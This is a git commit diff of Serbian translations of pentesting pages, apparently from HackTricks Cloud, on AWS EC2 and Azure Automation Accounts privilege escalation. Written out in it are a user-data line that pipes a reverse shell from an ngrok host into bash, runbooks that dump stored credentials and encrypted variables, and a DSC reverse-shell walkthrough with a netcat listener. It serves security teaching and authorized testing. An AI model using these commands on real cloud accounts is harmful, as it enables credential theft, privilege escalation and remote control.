Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:38 +00:00
parent 85fe2ab504
commit 69ef917340
7 changed files with 503 additions and 266 deletions

View File

@@ -406,8 +406,7 @@
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -454,6 +453,7 @@
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)

View File

@@ -59,7 +59,7 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Da biste naučili kako da **naterate ECS usluge da se pokreću** na ovoj novoj EC2 instanci, proverite:
Da biste naučili kako da **naterate ECS usluge da se pokrenu** na ovoj novoj EC2 instanci, proverite:
{{#ref}}
aws-ecs-privesc.md
@@ -80,30 +80,28 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. On može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije diskutovano), i **povezati profil instance** sa kompromitovanom **instancom:**
Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. On može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije diskutovano), i **povezati profil instance** sa kompromitovanom i**nstance:**
- Ako instanca **nema nijedan profil** instance (`ec2:AssociateIamInstanceProfile`) \*
- Ako instance **nema nijedan profil** instance (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potencijalni Uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).
**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Sa ovim dozvolama moguće je promeniti instance profil povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade akreditive za više uloga instance profila menjajući onaj koji je povezan sa njom.
Sa ovim dozvolama moguće je promeniti instance profil povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade kredencijale za više uloga instance profila menjajući onaj koji je povezan sa njom.
- Ako **ima instance profil**, možete **ukloniti** instance profil (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga \*
- Ako **ima instance profil**, možete **ukloniti** instance profil (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- ili **zameni** **profil instance** kompromitovane instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- ili **zameni** **profil instance** kompromitovane instance (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).
### `ec2:RequestSpotInstances`,`iam:PassRole`
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Napadač sa dozvolama **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** može da kreira **novu verziju Launch Template-a** sa **rev shell-om u** **korisničkim podacima** i **bilo kojom EC2 IAM ulogom na njemu**, promeniti podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Template** koji je **konfiguran** da koristi **najnoviju** ili **podrazumevanu verziju** će **ponovo pokrenuti instance** koristeći taj template i izvršiće rev shell.
Napadač sa dozvolama **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** može da kreira **novu verziju Launch Template-a** sa **rev shell-om u** **korisničkim podacima** i **bilo kojom EC2 IAM ulogom na njemu**, promeni podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Template** koji je **konfiguran** da koristi **najnoviju** ili **podrazumevanu verziju** će **ponovo pokrenuti instance** koristeći taj template i izvršiće rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može **napraviti Launch Configuration** sa **IAM ulogom** i **rev shell** unutar **korisničkih podataka**, zatim **napraviti autoscaling grupu** iz te konfiguracije i čekati da rev shell **ukrade IAM ulogu**.
Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može **napraviti Launch Configuration** sa **IAM Ulogom** i **rev shell** unutar **korisničkih podataka**, zatim **napraviti autoscaling grupu** iz te konfiguracije i čekati da rev shell **ukrade IAM Ulogu**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM ulogu jer je za pridruživanje uloge navedene u Launch Configuration ili u Launch Template **potrebno dozvola `iam:PassRole` i `ec2:RunInstances`** (što je poznato privesc).
Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM ulogu jer je za pridruživanje uloge navedene u Launch Configuration ili u Launch Template **potrebno dozvola `iam:PassRole` i `ec2:RunInstances`** (što je poznat privesc).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -213,7 +211,7 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama.
**Potencijalni uticaj:** Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
@@ -233,7 +231,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
```
Ovaj način nije previše koristan za privesc jer je potrebno znati korisničko ime i lozinku da bi se iskoristio.
**Potencijalni uticaj:** (Veoma neproven) Direktan privesc na EC2 IAM uloge povezane sa aktivnim instancama.
**Potencijalni uticaj:** (Veoma neproveren) Direktan privesc na EC2 IAM uloge povezane sa aktivnim instancama.
### `describe-launch-templates`,`describe-launch-template-versions`
@@ -256,7 +254,7 @@ Pretpostavljajući da pronađemo `aws_access_key_id` i `aws_secret_access_key`,
**Potencijalni uticaj:** Direktno eskaliranje privilegija na IAM korisnika(e).
## References
## Reference
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

View File

@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Za više informacija pogledajte:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i pokretanje Runbook-a** u Automation Account-u, što možete iskoristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account-u.
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automation Account-u koristeći:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Napomena kako se prethodni skript može koristiti za **curenje korisničkog imena i lozinke** akreditiva i vrednosti **kriptovane promenljive** smeštene u Automation Account.
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava korisniku da objavi Runbook u Automation Account-u tako da se promene primene:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account-u koristeći:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz posla u Automation Account-u koristeći:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Ako ne postoje kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da biste to uradili koristeći:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ova dozvola omogućava korisniku da **dodeli korisnički upravljanu identitet** Automation Account-u koristeći:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Sa dozvolom **`Microsoft.Automation/automationAccounts/schedules/write`** moguće je kreirati novi raspored u Automation Account-u koji se izvršava svake 15 minuta (nije baš tajno) koristeći sledeću komandu.
Napomena: **minimalni interval za raspored je 15 minuta**, a **minimalno vreme početka je 5 minuta** u budućnosti.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> U prethodnom primeru, jobchedule id je ostavljen kao **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kao primer** ali ćete morati da koristite proizvoljnu vrednost za kreiranje ovog dodeljivanja.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account-a koristeći sledeću komandu.
Napomena: Moraćete da **naznačite webhook URI** sa tokenom koji ćete koristiti.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Samo sa dozvolom `Microsoft.Automation/automationAccounts/runbooks/draft/write` moguće je **ažurirati kod Runbook-a** bez objavljivanja i pokrenuti ga koristeći sledeće komande.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Ova dozvola omogućava korisniku da **konfiguriše kontrolu izvora** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a sa nekim drugim dozvolama za pokretanje, bilo bi **moguće eskalirati privilegije**.
Pored toga, zapamtite da za rad sa izvorom kontrole u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, to se može konfigurisati tako što se u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** postavi **client id** korisničkog upravljanog identiteta koji će se koristiti.
> [!TIP]
> Imajte na umu da nije moguće promeniti URL repozitorijuma izvora kontrole nakon što je kreiran.
### Prilagođena Runtime Okruženja
Ako automation account koristi prilagođeno runtime okruženje, moglo bi biti moguće prepisati prilagođeni paket runtime-a sa nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se runbook koji koristi to prilagođeno runtime izvrši i učita prilagođeni paket, zlonamerni kod će biti izvršen.
### Kompromitovanje State Configuration
**Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Korak 1 — Kreirajte Fajlove
**Potrebni Fajlovi:** Potrebna su dva PowerShell skripta:
1. `reverse_shell_config.ps1`: Fajl Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Prilagođavanje:** Promenljive i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
- Korak 2 — Zip Konfiguracioni Fajl
`reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos u Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Korak 3 — Postavi kontekst skladišta i otpremi
Zipped konfiguracioni fajl se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Korak 4 — Priprema Kali Box-a
Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku.
- Korak 5 — Objavi Konfiguracioni Fajl
Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
- Korak 6 — Hostuj Payload i Postavi Listener
Python SimpleHTTPServer se pokreće da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM-a.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## Osnovne informacije
[Iz dokumenata:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation pruža uslugu automatizacije zasnovanu na oblaku, ažuriranja operativnog sistema i uslugu konfiguracije koja podržava dosledno upravljanje u vašim Azure i ne-Azure okruženjima. Uključuje automatizaciju procesa, upravljanje konfiguracijom, upravljanje ažuriranjima, zajedničke mogućnosti i heterogene karakteristike.
Ovo su poput "**zakazanih zadataka**" u Azure-u koji će vam omogućiti da izvršavate stvari (akcije ili čak skripte) za **upravljanje**, proveru i konfiguraciju **Azure okruženja**.
### Run As nalog
Kada se koristi **Run as Account**, kreira se Azure AD **aplikacija** sa samopotpisanim sertifikatom, kreira se **servisni principal** i dodeljuje se **Contributor** uloga za nalog u **trenutnoj pretplati** (mnogo privilegija).\
Microsoft preporučuje korišćenje **Managed Identity** za Automation Account.
> [!WARNING]
> Ovo će biti **uklonjeno 30. septembra 2023. i promenjeno za Managed Identities.**
## Runbooks & Jobs
**Runbooks** vam omogućavaju da **izvršavate proizvoljni PowerShell** kod. Ovo bi moglo biti **zloupotrebljeno od strane napadača** da ukrade dozvole **pridruženog principala** (ako ih ima).\
U **kod**-u **Runbooks** takođe možete pronaći **osetljive informacije** (kao što su kredencijali).
Ako možete **pročitati** **poslove**, uradite to jer **sadrže** **izlaz** izvršenja (potencijalne **osetljive informacije**).
Idite na `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### Hybrid Worker
Runbook se može izvršiti u **kontejneru unutar Azure-a** ili u **Hybrid Worker** (mašina koja nije Azure).\
**Log Analytics Agent** se instalira na VM-u da bi se registrovao kao hibridni radnik.\
Poslovi hibridnog radnika se izvršavaju kao **SYSTEM** na Windows-u i **nxautomation** nalog na Linux-u.\
Svaki Hybrid Worker je registrovan u **Hybrid Worker Group**.
Stoga, ako možete izabrati da izvršite **Runbook** u **Windows Hybrid Worker**, izvršićete **proizvoljne komande** unutar spoljne mašine kao **System** (dobar pivot tehnika).
## Kompromitovana konfiguracija stanja (SC)
[Iz dokumenata:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** je usluga upravljanja konfiguracijom u Azure-u koja vam omogućava da pišete, upravljate i sastavljate PowerShell Desired State Configuration (DSC) [konfiguracije](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) za čvorove u bilo kojoj oblaku ili lokalnom datacentru. Usluga takođe uvozi [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) i dodeljuje konfiguracije ciljnim čvorovima, sve u oblaku. Možete pristupiti Azure Automation State Configuration u Azure portalu tako što ćete izabrati **State configuration (DSC)** pod **Configuration Management**.
**Osetljive informacije** mogu se naći u ovim konfiguracijama.
### RCE
Moguće je zloupotrebiti SC da izvršite proizvoljne skripte na upravljanim mašinama.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Enumeracija
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Kreirajte Runbook
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Izvlačenje kredencijala i varijabli definisanih u Automation Account koristeći Run Book
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> Možete uraditi istu stvar modifikovanjem postojećeg Run Book-a, i iz web konzole.
### Koraci za Postavljanje Automatizovane Kreacije Korisnika sa Visokim Ovlašćenjima
#### 1. Inicijalizujte Automatizovani Nalog
- **Akcija koja se zahteva:** Kreirajte novi Automatizovani Nalog.
- **Specifična Postavka:** Osigurajte da je "Create Azure Run As account" omogućeno.
#### 2. Uvezite i Postavite Runbook
- **Izvor:** Preuzmite uzorak runbook-a sa [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Zahtevane Akcije:**
- Uvezite runbook u Automatizovani Nalog.
- Objavite runbook da bi postao izvršiv.
- Priključite webhook na runbook, omogućavajući spoljne okidače.
#### 3. Konfigurišite AzureAD Modul
- **Akcija koja se zahteva:** Dodajte AzureAD modul u Automatizovani Nalog.
- **Dodatni Korak:** Osigurajte da su svi Azure Automatizovani Moduli ažurirani na najnovije verzije.
#### 4. Dodeljivanje Dozvola
- **Uloge za Dodeljivanje:**
- Administrator Korisnika
- Vlasnik Pretplate
- **Cilj:** Dodelite ove uloge Automatizovanom Nalogu za potrebna ovlašćenja.
#### 5. Svest o Potencijalnom Gubitku Pristupa
- **Napomena:** Budite svesni da konfiguracija takve automatizacije može dovesti do gubitka kontrole nad pretplatom.
#### 6. Okidanje Kreacije Korisnika
- Okidajte webhook za kreiranje novog korisnika slanjem POST zahteva.
- Koristite dati PowerShell skript, osiguravajući da zamenite `$uri` sa vašom stvarnom webhook URL adresom i ažurirate `$AccountInfo` sa željenim korisničkim imenom i lozinkom.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Reference
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
